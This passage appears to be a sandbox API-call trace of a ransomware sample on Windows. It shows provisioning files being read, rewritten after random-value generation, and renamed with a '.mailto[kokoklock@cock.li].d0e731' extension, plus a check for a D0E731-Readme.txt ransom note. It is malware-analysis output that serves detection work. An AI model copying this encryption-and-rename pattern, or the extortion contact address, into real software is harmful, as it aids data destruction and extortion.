CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\187__connections_cellular_vodafone hu (hungary)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.828] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2ff3f9f8 | out: lpFileSize=0x2ff3f9f8*=731) returned 1 [0087.828] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.828] ReadFile (in: hFile=0x3d0, lpBuffer=0x2ff3f9cc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ff3f9c8, lpOverlapped=0x0 | out: lpBuffer=0x2ff3f9cc*, lpNumberOfBytesRead=0x2ff3f9c8*=0x4, lpOverlapped=0x0) returned 1 [0087.829] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.829] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7f0 [0087.829] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7a0 [0087.829] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dcb10 [0087.829] NtQuerySystemTime (in: CurrentTime=0x2ff3f9a4 | out: CurrentTime=0x2ff3f9a4*=132121176457194551) returned 0x0 [0087.829] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0x1852e552 [0087.829] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0x14b31f03 [0087.829] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0xb52826ad [0087.829] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0xa65ab049 [0087.829] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0x95f707a1 [0087.829] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0x28198a2 [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0x586b22b5 [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0x146a0694 [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0xf9c3f2e4 [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0x4b67a017 [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0xdbb91e63 [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0xce4a62d6 [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0xba7660af [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0xcb99fea8 [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0xc785459c [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0x4b644f46 [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0xacefe25e [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0x8388cbc7 [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0x592e65bf [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0x3c2d5ae2 [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0x2294d2e8 [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0xafb6c373 [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0x33249ecd [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0x7615c467 [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0xce9fd10e [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0xa7a52128 [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0x9468e5f7 [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0xb02fa293 [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0xd0d6b879 [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0x14ec10ed [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0xe69a3277 [0087.830] RtlRandom (in: Seed=0x2ff3f9b0 | out: Seed=0x2ff3f9b0) returned 0x2060a948 [0087.840] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2db, lpNumberOfBytesRead=0x2ff3f9a4, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2ff3f9a4*=0x2db, lpOverlapped=0x0) returned 1 [0087.841] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ff3f96c | out: lpNewFilePointer=0x0) returned 1 [0087.841] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2db, lpNumberOfBytesWritten=0x2ff3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2ff3f9a0*=0x2db, lpOverlapped=0x0) returned 1 [0087.841] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc660 [0087.841] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6b0 [0087.841] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6b0) returned 1 [0087.841] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc660*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ff3f99c, lpOverlapped=0x0 | out: lpBuffer=0x55dc660*, lpNumberOfBytesWritten=0x2ff3f99c*=0x20, lpOverlapped=0x0) returned 1 [0087.841] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc660) returned 1 [0087.841] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.841] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.841] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.841] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.841] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc638*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2ff3f9c8, lpOverlapped=0x0 | out: lpBuffer=0x55dc638*, lpNumberOfBytesWritten=0x2ff3f9c8*=0x8, lpOverlapped=0x0) returned 1 [0087.841] WriteFile (in: hFile=0x3d0, lpBuffer=0x2ff3f9e0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ff3f9c8, lpOverlapped=0x0 | out: lpBuffer=0x2ff3f9e0*, lpNumberOfBytesWritten=0x2ff3f9c8*=0x4, lpOverlapped=0x0) returned 1 [0087.841] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ff3f9c8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2ff3f9c8*=0x4, lpOverlapped=0x0) returned 1 [0087.842] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2ff3f9c8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2ff3f9c8*=0x6c, lpOverlapped=0x0) returned 1 [0087.842] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc7a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ff3f9c8, lpOverlapped=0x0 | out: lpBuffer=0x55dc7a0*, lpNumberOfBytesWritten=0x2ff3f9c8*=0x20, lpOverlapped=0x0) returned 1 [0087.842] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ff3f9c8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2ff3f9c8*=0x4, lpOverlapped=0x0) returned 1 [0087.842] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc7a0) returned 1 [0087.842] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc930) returned 1 [0087.842] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc638) returned 1 [0087.842] CloseHandle (hObject=0x3d0) returned 1 [0087.842] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18e) returned 0x33fc9c8 [0087.842] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml" [0087.842] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.842] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\187__connections_cellular_vodafone hu (hungary)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\187__connections_cellular_vodafone hu (hungary)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.843] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.843] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.843] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\187__Connections_Cellular_Vodafone HU (Hungary)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.843] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.843] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.843] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.843] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.843] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.843] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d9e10) returned 1 [0087.843] RtlExitUserThread (Status=0x1) Thread: id = 1382 os_tid = 0x1434 [0087.845] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\188__connections_cellular_vodafone hu (hungary)_i1$(__mvid)@wap.provxml")) returned 0x20 [0087.845] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.845] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\188__connections_cellular_vodafone hu (hungary)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.845] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2ffbfbc4 | out: lpFileSize=0x2ffbfbc4*=739) returned 1 [0087.845] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.845] ReadFile (in: hFile=0x3d0, lpBuffer=0x2ffbfb98, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ffbfb94, lpOverlapped=0x0 | out: lpBuffer=0x2ffbfb98*, lpNumberOfBytesRead=0x2ffbfb94*=0x4, lpOverlapped=0x0) returned 1 [0087.847] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.847] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7f0 [0087.847] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7a0 [0087.847] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc638 [0087.847] NtQuerySystemTime (in: CurrentTime=0x2ffbfb70 | out: CurrentTime=0x2ffbfb70*=132121176457350867) returned 0x0 [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0xbea6a40a [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0x7e9540dc [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0xd5401bf4 [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0x502d2817 [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0x2880270b [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0xfeaa1b92 [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0x78ed5793 [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0x97f80f6b [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0xe7157240 [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0x2f53a98 [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0x94160dee [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0xbaa3d86a [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0x8c1568f3 [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0x5f04085c [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0xa4bacd39 [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0x635ea383 [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0xb72f86ac [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0xa27c5c20 [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0xe0b9d7e [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0x752b3583 [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0x81a8025d [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0x543e378f [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0x5bc10532 [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0x94cd5978 [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0x92278a5d [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0x31954aa9 [0087.847] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0xd22cfa42 [0087.848] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0xfbf4ad44 [0087.848] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0x1bb33396 [0087.848] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0xd18f24c4 [0087.848] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0xe2ee277b [0087.848] RtlRandom (in: Seed=0x2ffbfb7c | out: Seed=0x2ffbfb7c) returned 0x1aeb3acb [0087.859] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2e3, lpNumberOfBytesRead=0x2ffbfb70, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2ffbfb70*=0x2e3, lpOverlapped=0x0) returned 1 [0087.859] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ffbfb38 | out: lpNewFilePointer=0x0) returned 1 [0087.859] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2e3, lpNumberOfBytesWritten=0x2ffbfb6c, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2ffbfb6c*=0x2e3, lpOverlapped=0x0) returned 1 [0087.860] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc688 [0087.860] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6b0 [0087.860] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6b0) returned 1 [0087.860] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc688*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffbfb68, lpOverlapped=0x0 | out: lpBuffer=0x55dc688*, lpNumberOfBytesWritten=0x2ffbfb68*=0x20, lpOverlapped=0x0) returned 1 [0087.860] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc688) returned 1 [0087.860] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.860] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.860] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.860] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.860] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc660*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2ffbfb94, lpOverlapped=0x0 | out: lpBuffer=0x55dc660*, lpNumberOfBytesWritten=0x2ffbfb94*=0x8, lpOverlapped=0x0) returned 1 [0087.860] WriteFile (in: hFile=0x3d0, lpBuffer=0x2ffbfbac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffbfb94, lpOverlapped=0x0 | out: lpBuffer=0x2ffbfbac*, lpNumberOfBytesWritten=0x2ffbfb94*=0x4, lpOverlapped=0x0) returned 1 [0087.860] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffbfb94, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2ffbfb94*=0x4, lpOverlapped=0x0) returned 1 [0087.860] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2ffbfb94, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2ffbfb94*=0x6c, lpOverlapped=0x0) returned 1 [0087.860] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc7a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffbfb94, lpOverlapped=0x0 | out: lpBuffer=0x55dc7a0*, lpNumberOfBytesWritten=0x2ffbfb94*=0x20, lpOverlapped=0x0) returned 1 [0087.861] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffbfb94, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2ffbfb94*=0x4, lpOverlapped=0x0) returned 1 [0087.861] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc7a0) returned 1 [0087.861] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc930) returned 1 [0087.861] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc660) returned 1 [0087.861] CloseHandle (hObject=0x3d0) returned 1 [0087.861] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x18e) returned 0x33fc9c8 [0087.861] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml" [0087.861] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.861] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\188__connections_cellular_vodafone hu (hungary)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\188__connections_cellular_vodafone hu (hungary)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.862] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.862] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.862] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.862] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.862] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.862] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: 